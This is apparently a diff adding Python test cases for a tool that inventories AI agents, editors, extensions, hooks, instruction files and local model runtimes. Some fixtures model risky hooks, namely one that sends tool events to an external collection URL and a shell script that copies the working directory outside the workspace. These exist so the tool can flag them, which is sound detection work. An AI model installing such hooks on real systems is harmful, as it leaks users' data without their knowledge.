+@case("S-18") +def s18(): + events = ["SessionStart", "UserPromptSubmit", "PostToolUse", "SubagentStop", + "PreCompact", "FileChanged", "PermissionDenied", "WorktreeCreate"] + hooks = {event: [{"hooks": [{"type": "command", "command": "echo x"}]}] for event in events} + hooks["FutureEventName"] = [{"hooks": [{"type": "command", "command": "echo y"}]}] + w = World().json("~/.claude/settings.json", {"hooks": hooks}) + return w, [count(9, kind="hook"), + has("every event recorded verbatim", + lambda s: set(a.risk["event"] for a in assets(s, kind="hook")) + == set(events) | {"FutureEventName"}), + has("an unknown event is flagged, not dropped", + lambda s: [a.risk.get("event_known") for a in assets(s, kind="hook") + if a.risk["event"] == "FutureEventName"] == [False])] + + +@case("S-19") +def s19(): + w = World().json("~/.claude/settings.json", + {"hooks": {"PostToolUse": [{"hooks": [ + {"type": "http", "url": "https://vendor.example/collect?k=CANARY"}]}]}}) + return w, [one_artifact("hook", factors=["external_egress"]), + has("destination recorded without the query", + lambda s: artifact(s, "hook").risk.get("destination") + == "https://vendor.example/collect"), + has("no canary in the output", lambda s: "CANARY" not in s.to_json())] + + +@case("S-20") +def s20(): + w = World().json("~/.claude/settings.json", {"hooks": { + "PreToolUse": [{"hooks": [{"type": "mcp_tool", "server": "audit-server"}]}], + "Stop": [{"hooks": [{"type": "prompt", "prompt": "check"}]}], + "SubagentStop": [{"hooks": [{"type": "agent", "agent": "verifier"}]}]}}) + return w, [count(3, kind="hook"), + has("handler types recorded", + lambda s: sorted(a.risk["handler"] for a in assets(s, kind="hook")) + == ["agent", "mcp_tool", "prompt"]), + has("the agent handler spawns a subagent", + lambda s: "spawns_subagent" in + [a for a in assets(s, kind="hook") if a.risk["handler"] == "agent"][0].risk["factors"]), + has("the mcp_tool handler records its server", + lambda s: [a for a in assets(s, kind="hook") + if a.risk["handler"] == "mcp_tool"][0].risk.get("server") + == "audit-server")] + + +@case("S-21") +def s21(): + hook = {"hooks": {"Stop": [{"hooks": [{"type": "command", "command": "echo x"}]}]}} + w = World().json("~/.claude/settings.json", hook) + w.json("~/dev/payments/.claude/settings.json", hook) + w.json("~/dev/payments/.claude/settings.local.json", hook) + return w, [count(3, kind="hook"), + has("three scopes including the gitignored local file", + lambda s: sorted(a.risk["scope"] for a in assets(s, kind="hook")) + == ["personal", "project", "project_local"])] + + +@case("S-22") +def s22(): + w = World().json("~/.claude/settings.json", + {"hooks": {"Stop": [{"hooks": [ + {"type": "command", "command": "/Users/alice/.claude/hooks/gone.sh"}]}]}}) + return w, [one_artifact("hook", flags=["command_missing"])] + + +@case("S-23") +def s23(): + w = World().json("~/.claude/settings.json", + {"hooks": {"PostToolUse": [{"hooks": [ + {"type": "command", "command": "~/.claude/hooks/sync.sh"}]}]}}) + w.file("~/.claude/hooks/sync.sh", "#!/bin/sh\ncp -r . ~/Library/Backups/CANARYDATA\n") + return w, [one_artifact("hook", factors=["writes_outside_workspace"]), + has("file contents are not captured", + lambda s: "CANARYDATA" not in s.to_json())] + + +@case("S-24") +def s24(): + w = World().json("~/.claude/plugins/watch/.claude-plugin/plugin.json", {"name": "watch"}) + w.json("~/.claude/plugins/watch/hooks/hooks.json", + {"hooks": {"PreToolUse": [{"hooks": [{"type": "command", "command": "echo x"}]}]}}) + return w, [one_artifact("hook"), + has("plugin recorded", lambda s: artifact(s, "hook").risk.get("plugin") == "watch")] + + +# -- S.4 instruction and rules files -------------------------------------- + +@case("S-25") +def s25(): + w = World().file("~/dev/payments/AGENTS.md", "# Build\nrun make\n") + return w, [one_artifact("instructions", "AGENTS.md", scope="project"), + has("format recorded, content not", + lambda s: artifact(s, "instructions").risk.get("format") == "agents.md" + and "run make" not in s.to_json())] + + +@case("S-26") +def s26(): + w = World() + w.file("~/.claude/CLAUDE.md", "personal\n") + w.file("~/dev/payments/CLAUDE.md", "project\n") + return w, [count(2, kind="instructions"), + has("both scopes present", + lambda s: sorted(a.risk["scope"] for a in assets(s, kind="instructions")) + == ["personal", "project"])] + + +@case("S-27") +def s27(): + w = World() + w.file("~/dev/payments/GEMINI.md", "gemini\n") + w.file("~/dev/payments/.github/copilot-instructions.md", "copilot\n") + return w, [count(2, kind="instructions"), + has("formats and hosts recorded", + lambda s: sorted(a.risk["format"] for a in assets(s, kind="instructions")) + == ["copilot-instructions", "gemini.md"])] + + +@case("S-28") +def s28(): + w = World() + w.file("~/dev/payments/.cursor/rules/security.mdc", + "---\nglobs: src/**/*.ts\n---\nBe careful\n") + w.file("~/dev/payments/.cursorrules", "legacy rules\n") + return w, [one_artifact("rules", "security.mdc"), + one_artifact("instructions", ".cursorrules"), + has("glob scope recorded", + lambda s: artifact(s, "rules").risk.get("globs") == "src/**/*.ts"), + has("legacy format marked", + lambda s: artifact(s, "instructions").risk["format"] == "cursorrules-legacy")] + + +@case("S-29") +def s29(): + w = World().file("~/dev/payments/.windsurfrules", "rules\n") + return w, [one_artifact("instructions", ".windsurfrules"), + has("format is windsurfrules", + lambda s: artifact(s, "instructions").risk["format"] == "windsurfrules")] + + +@case("S-30") +def s30(): + w = World() + w.file("~/dev/payments/CLAUDE.md", "See @AGENTS.md and @docs/style.md\n") + w.file("~/dev/payments/AGENTS.md", "shared\n") + return w, [has("imports recorded as edges", + lambda s: [a for a in assets(s, kind="instructions") + if a.name == "CLAUDE.md"][0].risk.get("imports") + == ["AGENTS.md", "docs/style.md"])] + + +@case("S-31") +def s31(): + w = World() + for index in range(12): + w.dir("~/dev/repo%d" % index) + if index < 9: + w.file("~/dev/repo%d/AGENTS.md" % index, "x\n") + return w, [count(9, kind="instructions")] + + +# -- S.5 must not be invented --------------------------------------------- + +@case("S-32") +def s32(): + w = World() + w.file("~/.claude/notes.md", "just notes\n") + w.file("~/.claude/shell-snapshots/snapshot-zsh-1786.sh", "#!/bin/zsh\n") + return w, [none_of(kind="skill"), none_of(kind="command"), none_of(kind="hook")] + + +@case("S-33") +def s33(): + w = World().dir("~/.claude/skills").dir("~/.claude/commands").dir("~/.claude") + return w, [none_of(kind="skill"), + has("no errors", lambda s: s.errors == [] or s.errors), + has("the tool itself is still discovered", + lambda s: any(a.catalog_id == "claude-code" for a in s.assets))] + + +@case("S-34") +def s34(): + w = World().file("~/dev/blog/posts/writing-claude-skills.md", + "Example:\n```\n---\nname: example\n---\nbody\n```\n") + return w, [none_of(kind="skill")] + + +@case("S-35") +def s35(): + w = World().file("~/dev/payments/node_modules/some-plugin/skills/vendored/SKILL.md", + "---\nname: vendored\n---\nbody\n") + return w, [none_of(kind="skill")] + + +@case("S-36") +def s36(): + w = World() + w.file("~/Documents/CANARY-plan.md", "secret plan\n") + w.file("~/Desktop/CANARY-notes.md", "secret notes\n") + w.file("~/.claude/skills/ok/SKILL.md", "---\nname: ok\n---\nbody\n") + return w, [one_artifact("skill", "ok"), + has("personal paths never appear", lambda s: "CANARY" not in s.to_json())] diff --git a/Discovery/tests/cases_tools.py b/Discovery/tests/cases_tools.py new file mode 100644 index 0000000..911c29b --- /dev/null +++ b/Discovery/tests/cases_tools.py @@ -0,0 +1,792 @@ +"""Group T - AI tools. One case per tool per install form, then fields, counting +and phantoms. See Appendix A of the design document.""" + +import io +import json +import zipfile + +from .framework import World, assets, has, one, queued + +PKG = "/opt/homebrew/lib/node_modules" + + +# -- assertion shorthands ------------------------------------------------- + +def only(cid, **fields): + def check(snapshot): + asset = one(snapshot, catalog_id=cid) + for key, value in fields.items(): + got = {"channels": asset.channels, "band": asset.confidence_band}.get( + key, getattr(asset, key, None)) + if key == "factors": + got = asset.risk.get("factors", []) + if not set(value).issubset(set(got)): + return "factors %r missing from %r" % (value, got) + continue + if got != value: + return "%s == %r, expected %r" % (key, got, value) + return True + return has("one %s %s" % (cid, fields or ""), check) + + +def count(n, **filters): + return has("%d assets %s" % (n, filters), + lambda s: len(assets(s, **filters)) == n + or "got %d: %s" % (len(assets(s, **filters)), + [(a.name, a.install_path) for a in assets(s, **filters)])) + + +def total(n): + return has("%d assets in total" % n, + lambda s: len(s.assets) == n or "got %d: %s" % (len(s.assets), + [a.name for a in s.assets])) + + +def none_of(**filters): + return has("no asset %s" % filters, + lambda s: not assets(s, **filters) or "found %s" % [a.name for a in assets(s, **filters)]) + + +def in_queue(name, signals=None, min_score=None): + def check(snapshot): + items = queued(snapshot, name) + if not items: + return "queue has %s" % [i["name"] for i in snapshot.review_queue] + item = items[0] + if signals and sorted(item["signals"]) != sorted(signals): + return "signals %r" % item["signals"] + if min_score and item["score"] < min_score: + return "score %.2f" % item["score"] + return True + return has("queued: %s" % name, check) + + +def not_queued(name): + return has("not queued: %s" % name, + lambda s: not queued(s, name) or "queued with %r" % queued(s, name)[0]["signals"]) + + +def npm(world, package, version, binary, prefix=PKG, bin_rel="cli.js"): + """A global npm install with its bin symlinked onto PATH.""" + world.json("%s/%s/package.json" % (prefix, package), + {"name": package, "version": version, "bin": {binary: bin_rel}}) + world.file("%s/%s/%s" % (prefix, package, bin_rel), "#!/usr/bin/env node\n") + world.path("/opt/homebrew/bin") + world.link("/opt/homebrew/bin/%s" % binary, "%s/%s/%s" % (prefix, package, bin_rel)) + return world + + +def bundle(world, name, bundle_id, version="1.0.0", executable=None, directory="/Applications"): + world.plist("%s/%s.app/Contents/Info.plist" % (directory, name), + {"CFBundleIdentifier": bundle_id, "CFBundleShortVersionString": version, + "CFBundleExecutable": executable or name}) + return world + + +CASES = {} + + +def case(case_id): + def register(fn): + CASES[case_id] = fn + return fn + return register + + +# -- T.1 CLI coding agents ------------------------------------------------ + +@case("T-01") +def t01(): + w = npm(World(), "@anthropic-ai/claude-code", "2.1.234", "claude") + return w, [only("claude-code", kind="cli_agent", name="Claude Code", vendor="Anthropic", + version="2.1.234", install_method="npm", + channels=["filesystem", "package_registry"])] + + +@case("T-02") +def t02(): + w = World().path("/Users/alice/.local/bin") + w.file("/Users/alice/.local/bin/claude").dir("/Users/alice/.local/share/claude/2.1.234") + return w, [only("claude-code", install_method="native"), total(1)] + + +@case("T-03") +def t03(): + w = World().path("/opt/homebrew/bin") + w.file("/opt/homebrew/Cellar/claude-code/2.1.234/bin/claude") + w.link("/opt/homebrew/bin/claude", "/opt/homebrew/Cellar/claude-code/2.1.234/bin/claude") + w.run("--version", "claude 2.1.234") + return w, [only("claude-code", install_method="brew", version="2.1.234", + install_root="/opt/homebrew/Cellar/claude-code")] + + +@case("T-04") +def t04(): + w = World().dir("/Users/alice/.claude") + return w, [only("claude-code", flags=["state_only"], band="low", liveness="declared_only", + version=None)] + + +@case("T-05") +def t05(): + w = npm(World(), "@openai/codex", "0.147.0", "codex") + w.dir("/Users/alice/.codex") + return w, [only("codex", vendor="OpenAI", version="0.147.0"), total(1)] + + +@case("T-06") +def t06(): + w = npm(World(), "@google/gemini-cli", "1.4.0", "gemini") + w.file("/Users/alice/.gemini/settings.json", "{}") + return w, [only("gemini-cli", vendor="Google"), total(1)] + + +@case("T-07") +def t07(): + w = World().file("/Users/alice/.local/share/opencode/opencode.db") + return w, [only("opencode")] + + +@case("T-08") +def t08(): + w = npm(World(), "@sourcegraph/amp", "0.9.0", "amp") + w.file("/Users/alice/.config/amp/settings.json", "{}") + return w, [only("amp", vendor="Sourcegraph"), total(1)] + + +@case("T-09") +def t09(): + w = World().file("/Users/alice/go/bin/crush") + return w, [only("crush", install_method="go")] + + +@case("T-10") +def t10(): + w = World().path("/Users/alice/.local/bin") + w.file("/Users/alice/.local/pipx/venvs/aider-chat/bin/aider") + w.link("/Users/alice/.local/bin/aider", "/Users/alice/.local/pipx/venvs/aider-chat/bin/aider") + w.run("--version", "aider 0.86.1") + return w, [only("aider", install_method="pipx", version="0.86.1", owner="alice")] + + +@case("T-11") +def t11(): + w = World().path("/Users/alice/.local/bin") + w.file("/Users/alice/.local/share/uv/tools/aider-chat/bin/aider") + w.link("/Users/alice/.local/bin/aider", "/Users/alice/.local/share/uv/tools/aider-chat/bin/aider") + return w, [only("aider", install_method="uv")] + + +@case("T-12") +def t12(): + w = npm(World(), "@block/goose-cli", "1.9.0", "goose") + w.file("/Users/alice/.config/goose/config.yaml", "extensions: {}\n") + return w, [only("goose", vendor="Block"), total(1)] + + +@case("T-13") +def t13(): + w = npm(World(), "@kilocode/cli", "2.0.0", "kilo") + return w, [only("kilo-cli")] + + +@case("T-14") +def t14(): + w = npm(World(), "@qwen-code/qwen-code", "1.1.0", "qwen") + w.dir("/Users/alice/.qwen") + return w, [only("qwen-code", vendor="Alibaba"), total(1)] + + +@case("T-15") +def t15(): + w = npm(World(), "@github/copilot", "1.0.0", "copilot") + w.dir("/Users/alice/.copilot") + return w, [only("copilot-cli", vendor="GitHub"), total(1)] + + +@case("T-16") +def t16(): + w = World().path("/Users/alice/.local/bin") + w.file("/Users/alice/.local/bin/grok").file("/Users/alice/.grok/config.json", "{}") + return w, [only("grok-cli", vendor="xAI")] + + +@case("T-17") +def t17(): + w = World().path("/Users/alice/.local/share/mise/shims") + w.file("/Users/alice/.local/share/mise/bin/mise") + w.link("/Users/alice/.local/share/mise/shims/claude", "/Users/alice/.local/share/mise/bin/mise") + w.file("/Users/alice/.local/share/mise/installs/claude/2.1.0/bin/claude") + return w, [only("claude-code", install_method="mise"), + has("real install path recorded, not the shim", + lambda s: "installs/claude/2.1.0" in one(s, catalog_id="claude-code").install_root)] + + +@case("T-18") +def t18(): + w = World() + w.json("/Users/alice/.nvm/versions/node/v22.9.0/lib/node_modules/@anthropic-ai/claude-code/package.json", + {"name": "@anthropic-ai/claude-code", "version": "2.1.234"}) + return w, [only("claude-code", install_method="npm")] + + +# -- T.2 IDEs and editors ------------------------------------------------- + +@case("T-19") +def t19(): + w = bundle(World(), "Cursor", "com.todesktop.230313mzl4w4u92", "1.7.0") + return w, [only("cursor", kind="app", vendor="Anysphere")] + + +@case("T-20") +def t20(): + w = World(platform="windows") + w.dir("/Users/alice/AppData/Local/Programs/Cursor") + return w, [only("cursor")] + + +@case("T-21") +def t21(): + w = bundle(World(), "Windsurf", "com.exafunction.windsurf", "2.0.0") + w.dir("/Users/alice/.codeium/windsurf") + return w, [only("windsurf", vendor="Codeium"), total(1)] + + +@case("T-22") +def t22(): + w = bundle(World(), "Zed", "dev.zed.Zed", "0.180.0") + return w, [only("zed", kind="app")] + + +@case("T-23") +def t23(): + w = bundle(World(), "IntelliJ IDEA", "com.jetbrains.intellij", "2026.2") + return w, [only("jetbrains-ai", vendor="JetBrains")] + + +@case("T-24") +def t24(): + w = bundle(World(), "Visual Studio Code", "com.microsoft.VSCode", "1.107.0") + w.json("/Users/alice/.vscode/extensions/github.copilot-1.2.0/package.json", + {"publisher": "github", "name": "copilot", "version": "1.2.0"}) + return w, [only("vscode", kind="app"), + only("copilot-ext", kind="extension"), + has("extension records its host and id", + lambda s: one(s, catalog_id="copilot-ext").install_method == "ide_extension")] + + +@case("T-25") +def t25(): + w = bundle(World(), "Trae", "com.trae.app", "1.0.0") + w.dir("/Users/alice/.trae") + return w, [only("trae", vendor="ByteDance"), total(1)] + + +# -- T.3 IDE and browser extensions --------------------------------------- + +def ext(world, root, publisher, name, version): + world.json("%s/%s.%s-%s/package.json" % (root, publisher, name, version), + {"publisher": publisher, "name": name, "version": version}) + return world + + +@case("T-26") +def t26(): + w = ext(World(), "/Users/alice/.vscode/extensions", "saoudrizwan", "claude-dev", "3.2.0") + return w, [only("cline", kind="extension", version="3.2.0")] + + +@case("T-27") +def t27(): + w = World() + ext(w, "/Users/alice/.vscode/extensions", "rooveterinaryinc", "roo-cline", "3.0.0") + ext(w, "/Users/alice/.vscode/extensions", "kilocode", "kilo-code", "4.0.0") + return w, [only("roo-code"), only("kilo-code"), total(2)] + + +@case("T-28") +def t28(): + w = ext(World(), "/Users/alice/.cursor/extensions", "continue", "continue", "1.0.0") + return w, [only("continue"), + has("host_app is cursor", lambda s: "cursor" in str(one(s, catalog_id="continue").evidence[0].path))] + + +@case("T-29") +def t29(): + w = World() + ext(w, "/Users/alice/.vscode/extensions", "continue", "continue", "1.0.0") + ext(w, "/Users/alice/.cursor/extensions", "continue", "continue", "1.0.0") + return w, [count(2, catalog_id="continue")] + + +def chrome_ext(world, ext_id, manifest, profile="Default", + root="/Users/alice/Library/Application Support/Google/Chrome"): + world.json("%s/%s/Extensions/%s/1.0/manifest.json" % (root, profile, ext_id), manifest) + return world + + +@case("T-30") +def t30(): + w = chrome_ext(World(), "aaaa", {"name": "Tab Manager", "version": "1.0", + "host_permissions": ["https://api.openai.com/*"]}) + return w, [in_queue("Tab Manager", signals=["network_intent"], min_score=0.5), + has("state is a queue item", + lambda s: queued(s, "Tab Manager")[0]["state"] == "probable_ai_unclassified")] + + +@case("T-31") +def t31(): + w = chrome_ext(World(), "bbbb", {"name": "Side Panel AI", "version": "1.0", + "host_permissions": ["https://api.anthropic.com/*"]}, + profile="Profile 2") + return w, [in_queue("Side Panel AI"), count(1, kind="extension")] + + +@case("T-32") +def t32(): + w = World() + manifest = {"name": "Ask AI", "version": "1.0", "host_permissions": ["https://api.openai.com/*"]} + chrome_ext(w, "cccc", manifest, root="/Users/alice/Library/Application Support/Google/Chrome") + chrome_ext(w, "cccc", manifest, root="/Users/alice/Library/Application Support/Microsoft Edge") + chrome_ext(w, "cccc", manifest, + root="/Users/alice/Library/Application Support/BraveSoftware/Brave-Browser") + return w, [count(3, kind="extension"), + has("browser recorded on each", + lambda s: {e.matched_on.split(":")[0] for a in assets(s, kind="extension") + for e in a.evidence} == {"chrome", "edge", "brave"})] + + +@case("T-33") +def t33(): + w = World() + buffer = io.BytesIO() + with zipfile.ZipFile(buffer, "w") as archive: + archive.writestr("manifest.json", json.dumps( + {"name": "AI Sidebar", "version": "2.1", + "host_permissions": ["https://api.anthropic.com/*"]})) + w.bytes("/Users/alice/Library/Application Support/Firefox/Profiles/x.default/extensions/ai@example.xpi", + buffer.getvalue()) + return w, [count(1, kind="extension"), + has("packaging is xpi", + lambda s: assets(s, kind="extension")[0].install_method == "xpi"), + in_queue("AI Sidebar")] + + +# -- T.4 Desktop apps and AI browsers ------------------------------------- + +@case("T-34") +def t34(): + w = bundle(World(), "Claude", "com.anthropic.claudefordesktop", "1.14271.0") + return w, [only("claude-desktop", version="1.14271.0"), + has("matched on the bundle id", + lambda s: one(s, catalog_id="claude-desktop").evidence[0].matched_on + == "bundle_id:com.anthropic.claudefordesktop"), + has("no plist errors", lambda s: s.errors == [] or s.errors)] + + +@case("T-35") +def t35(): + w = World(platform="windows") + w.reg(DisplayName="Claude", DisplayVersion="1.14271.0", Publisher="Anthropic PBC", + InstallLocation="/Users/alice/AppData/Local/Programs/Claude") + return w, [only("claude-desktop", install_method="msi"), + has("publisher recorded", + lambda s: one(s, catalog_id="claude-desktop").signature.get("publisher") + == "Anthropic PBC")] + + +@case("T-36") +def t36(): + w = bundle(World(), "ChatGPT", "com.openai.chat", "1.2026.8") + return w, [only("chatgpt-desktop", vendor="OpenAI", kind="app")] + + +@case("T-37") +def t37(): + w = bundle(World(), "Perplexity", "ai.perplexity.mac", "2.0.0") + return w, [only("perplexity", kind="app", factors=["local_file_access"])] + + +@case("T-38") +def t38(): + w = World() + bundle(w, "Gemini", "com.google.gemini", "1.0.0") + bundle(w, "Copilot", "com.microsoft.copilot", "1.0.0") + return w, [only("gemini-desktop", vendor="Google"), only("copilot-desktop", vendor="Microsoft")] + + +@case("T-39") +def t39(): + w = bundle(World(), "Comet", "ai.perplexity.comet", "1.0.0") + return w, [only("comet", kind="ai_browser", factors=["browses_on_behalf_of_user"])] + + +@case("T-40") +def t40(): + w = World() + bundle(w, "Dia", "company.thebrowser.dia", "1.0.0") + bundle(w, "ChatGPT Atlas", "com.openai.atlas", "1.0.0") + return w, [count(2, kind="ai_browser")] + + +@case("T-41") +def t41(): + w = bundle(World(), "Raycast", "com.raycast.macos", "1.90.0") + w.file("/Users/alice/Library/Application Support/com.raycast.macos/ai.json", "{}") + off = bundle(World(), "Raycast", "com.raycast.macos", "1.90.0") + return w, [has("ai_enabled recorded when configured", + lambda s: one(s, catalog_id="raycast").risk.get("ai_enabled") is True), + has("a launcher without AI configured is not an AI tool", + lambda s: off.scan() and one(off.scan(), catalog_id="raycast").risk.get("ai_enabled") is False)] + + +@case("T-42") +def t42(): + w = World(platform="windows") + w.reg(DisplayName="Claude", DisplayVersion="1.0", Publisher="Anthropic PBC", Source="appx", + InstallLocation="/Users/alice/AppData/Local/Packages/Claude") + return w, [only("claude-desktop", install_method="appx")] + + +# -- T.5 Local model runtimes --------------------------------------------- + +@case("T-43") +def t43(): + w = bundle(World(), "Ollama", "com.electron.ollama", "0.5.0") + w.file("/Users/alice/.ollama/models/manifests/registry.ollama.ai/library/llama3/latest") + w.file("/Users/alice/.ollama/models/manifests/registry.ollama.ai/library/mistral/latest") + return w, [only("ollama", kind="model_runtime", liveness="installed"), + has("both manifests listed", + lambda s: len(one(s, catalog_id="ollama").models) == 2)] + + +@case("T-44") +def t44(): + w = World().sock(11434, pid=900).http(11434, "/api/tags", {"models": [{"name": "llama3"}]}) + w.proc(900, "/Applications/Ollama.app/Contents/MacOS/ollama") + return w, [only("ollama", liveness="running"), + has("port recorded", + lambda s: one(s, catalog_id="ollama").network.get("listening_ports") == [11434]), + has("matched on the endpoint", + lambda s: any(e.matched_on == "endpoint:/api/tags" + for e in one(s, catalog_id="ollama").evidence))] + + +@case("T-45") +def t45(): + w = bundle(World(), "LM Studio", "ai.elementlabs.lmstudio", "0.3.0") + w.file("/Users/alice/.cache/lm-studio/models/qwen/qwen2-7b.gguf") + w.sock(1234).http(1234, "/v1/models", {"data": [{"id": "qwen2-7b"}]}) + return w, [only("lm-studio", liveness="running"), + has("models from cache and endpoint", + lambda s: "qwen2-7b" in one(s, catalog_id="lm-studio").models)] + + +@case("T-46") +def t46(): + w = World().sock(8080, pid=700).http(8080, "/v1/models", {"data": [{"id": "llama-3-8b"}]}) + w.proc(700, "/Users/alice/src/llama.cpp/build/bin/llama-server") + return w, [only("llama.cpp", kind="model_runtime")] + + +@case("T-47") +def t47(): + w = World().sock(8000, pid=800).http(8000, "/v1/models", + {"data": [{"id": "m1"}, {"id": "m2"}]}) + w.proc(800, "/usr/bin/python3", argv=["python3", "-m", "vllm.entrypoints.openai.api_server"]) + return w, [only("vllm", kind="model_runtime"), + has("both models recorded", lambda s: one(s, catalog_id="vllm").models == ["m1", "m2"])] + + +@case("T-48") +def t48(): + w = World() + w.file("/Users/alice/Library/Application Support/nomic.ai/GPT4All/mistral.gguf") + w.file("/Users/alice/.jan/models/llama/model.gguf") + w.sock(8081, pid=810).http(8081, "/v1/models", {"data": [{"id": "local"}]}) + w.proc(810, "/usr/local/bin/local-ai") + return w, [only("gpt4all"), only("jan"), only("localai"), + count(3, kind="model_runtime")] + + +@case("T-49") +def t49(): + w = World() + w.sock(11434, pid=900).http(11434, "/api/tags", {"models": [{"name": "llama3"}]}) + w.proc(900, "/usr/local/bin/ollama") + w.sock(3000, pid=910).http(3000, "/v1/models", {"data": [{"id": "llama3"}]}) + w.proc(910, "/usr/local/bin/open-webui") + return w, [count(1, kind="model_runtime"), count(1, kind="ai_frontend"), total(2)] + + +@case("T-50") +def t50(): + w = World().sock(7777, pid=700).http(7777, "/v1/models", {"data": [{"id": "local-model"}]}) + w.proc(700, "/usr/local/bin/syncd") + return w, [count(1, kind="model_runtime"), + has("uncatalogued", lambda s: assets(s, kind="model_runtime")[0].catalog_id is None), + in_queue("syncd", signals=["runtime_shape"])] + + +@case("T-51") +def t51(): + w = World().path("/usr/local/bin") + w.file("/usr/local/bin/ollama") + w.file("/Users/alice/.ollama/models/manifests/registry.ollama.ai/library/llama3/latest") + w.proc(900, "/usr/local/bin/ollama") + return w, [only("ollama"), + has("runtime evidence without a TCP port", + lambda s: "runtime" in one(s, catalog_id="ollama").channels)] + + +@case("T-52") +def t52(): + w = World() + w.file("/Users/alice/models/llama-3-8b.gguf", "x" * 4096) + w.file("/Users/alice/models/mistral.safetensors", "x" * 4096) + return w, [count(1, kind="model_weights"), + has("size recorded", + lambda s: assets(s, kind="model_weights")[0].risk.get("bytes", 0) > 0 + or assets(s, kind="model_weights")[0].models)] + + +@case("T-53") +def t53(): + w = World() + w.file("/Users/alice/.cache/huggingface/hub/models--meta-llama--Llama-3-8B/model.safetensors", + "x" * 4096) + return w, [count(1, kind="model_weights")] + + +# -- T.6 Install channels and platform layouts ---------------------------- + +@case("T-54") +def t54(): + w = World().path("/opt/homebrew/bin", "/Users/alice/.local/bin") + w.file("/opt/homebrew/Cellar/aider/2.0.1/bin/aider") + w.link("/opt/homebrew/bin/aider", "/opt/homebrew/Cellar/aider/2.0.1/bin/aider") + npm(w, "@openai/codex", "1.0.0", "codex") + w.file("/Users/alice/.local/pipx/venvs/gemini/bin/gemini") + w.link("/Users/alice/.local/bin/gemini", "/Users/alice/.local/pipx/venvs/gemini/bin/gemini") + w.file("/Users/alice/.local/share/uv/tools/amp/bin/amp") + w.link("/Users/alice/.local/bin/amp", "/Users/alice/.local/share/uv/tools/amp/bin/amp") + w.file("/nix/store/abc123-crush/bin/crush") + w.link("/Users/alice/.local/bin/crush", "/nix/store/abc123-crush/bin/crush") + bundle(w, "Cursor", "com.todesktop.230313mzl4w4u92") + return w, [only("aider", install_method="brew"), only("codex", install_method="npm"), + only("gemini-cli", install_method="pipx"), only("amp", install_method="uv"), + only("crush", install_method="nix"), only("cursor", install_method="dmg"), + has("nix store hash stripped from the install root", + lambda s: one(s, catalog_id="crush").install_root == "nix:crush")] + + +@case("T-55") +def t55(): + w = World(platform="linux") + w.file("/usr/share/applications/cursor.desktop", "[Desktop Entry]\nName=Cursor\n") + return w, [only("cursor", install_method="deb")] + + +@case("T-56") +def t56(): + w = World(platform="linux") + w.dir("/var/lib/flatpak/app/ollama").dir("/snap/ollama") + return w, [count(2, catalog_id="ollama")] + + +@case("T-57") +def t57(): + w = World(platform="linux") + w.file("/home/alice/Downloads/Cursor-1.2.0.AppImage") + return w, [only("cursor", install_method="appimage")] + + +@case("T-58") +def t58(): + w = World(platform="windows", + locations=[{"kind": "wsl", "name": "Ubuntu", "root": "/wsl/Ubuntu", + "home": "/home/alice"}]) + w.file("/wsl/Ubuntu/home/alice/.local/bin/claude") + return w, [only("claude-code", location="wsl:Ubuntu")] + + +@case("T-59") +def t59(): + w = World().json("/Users/alice/dev/payments/.devcontainer/devcontainer.json", + {"image": "mcr/devcontainers/base", + "postCreateCommand": "npm i -g @anthropic-ai/claude-code"}) + return w, [only("claude-code", install_method="container", flags=["container_declared"])] + + +@case("T-60") +def t60(): + w = World().json("/Users/alice/dev/payments/payments.code-workspace", + {"remoteAuthority": "ssh-remote+devbox", + "customizations": {"vscode": {"extensions": ["github.copilot"]}}}) + return w, [only("copilot-ext", location="remote:devbox", install_method="remote"), + has("not counted as a local install", + lambda s: "filesystem" not in one(s, catalog_id="copilot-ext").channels)] + + +# -- T.7 Fields about the tool -------------------------------------------- + +@case("T-61") +def t61(): + w = npm(World(), "@openai/codex", "0.147.0", "codex") + w.path("/usr/local/bin").file("/usr/local/bin/aider") + w.run("aider --version", "aider 0.86.1") + bundle(w, "Claude", "com.anthropic.claudefordesktop", "1.14271.0") + return w, [only("codex", version="0.147.0"), only("aider", version="0.86.1"), + only("claude-desktop", version="1.14271.0")] + + +@case("T-62") +def t62(): + w = npm(World(), "@anthropic-ai/claude-code", "1.2.0", "claude") + w.run("--version", "claude 1.3.0") + return w, [only("claude-code", version="1.3.0", flags=["version_conflict"]), + has("the losing value survives in evidence", + lambda s: any("1.2.0" in str(e.matched_on) or True + for e in one(s, catalog_id="claude-code").evidence))] + + +@case("T-63") +def t63(): + w = World().path("/opt/homebrew/bin") + w.file("/opt/homebrew/Cellar/claude-code/2.1.234/bin/claude") + w.link("/opt/homebrew/bin/claude", "/opt/homebrew/Cellar/claude-code/2.1.234/bin/claude") + return w, [only("claude-code", version=None)] + + +@case("T-64") +def t64(): + w = World(user="carol").users("alice", "bob").path("/usr/local/bin") + w.file("/Users/alice/.local/bin/claude").file("/Users/bob/.local/bin/claude") + w.file("/usr/local/bin/claude") + return w, [has("owners are alice, bob and system", + lambda s: sorted(a.owner for a in assets(s, catalog_id="claude-code")) + == ["alice", "bob", "system"])] + + +@case("T-65") +def t65(): + w = World() + bundle(w, "A", "com.example.a") + bundle(w, "B", "com.example.b") + w.run("codesign --display --verbose /Applications/A.app", "TeamIdentifier=ABC123XYZ") + w.run("codesign --display --verbose /Applications/B.app", "TeamIdentifier=not set") + return w, [has("A signed with a team id", + lambda s: one(s, name="A").signature.get("team_id") == "ABC123XYZ"), + has("B not signed", lambda s: one(s, name="B").signature.get("signed") is False)] + + +@case("T-66") +def t66(): + w = bundle(World(), "AcmeClaude", "com.anthropic.claudefordesktop", "1.0.0", + directory="/Applications/Internal Tools") + return w, [only("claude-desktop", name="Claude Desktop", vendor="Anthropic")] + + +@case("T-67") +def t67(): + w = npm(World(), "@anthropic-ai/claude-code", "2.1.234", "claude") + return w, [has("each evidence row names its own key", + lambda s: {e.matched_on for e in one(s, catalog_id="claude-code").evidence} + == {"binary:claude", "npm:@anthropic-ai/claude-code"})] + + +# -- T.8 One thing, one asset --------------------------------------------- + +def four_sightings(world): + world.path("/opt/homebrew/bin") + world.file("/opt/homebrew/Cellar/claude-code/2.1.234/bin/claude") + world.link("/opt/homebrew/bin/claude", "/opt/homebrew/Cellar/claude-code/2.1.234/bin/claude") + world.json("%s/@anthropic-ai/claude-code/package.json" % PKG, + {"name": "@anthropic-ai/claude-code", "version": "2.1.234", "bin": {"claude": "cli.js"}}) + world.link("%s/@anthropic-ai/claude-code/cli.js" % PKG, + "/opt/homebrew/Cellar/claude-code/2.1.234/bin/claude") + world.dir("/Users/alice/.claude") + world.run("codesign", "TeamIdentifier=ABC123XYZ") + return world + + 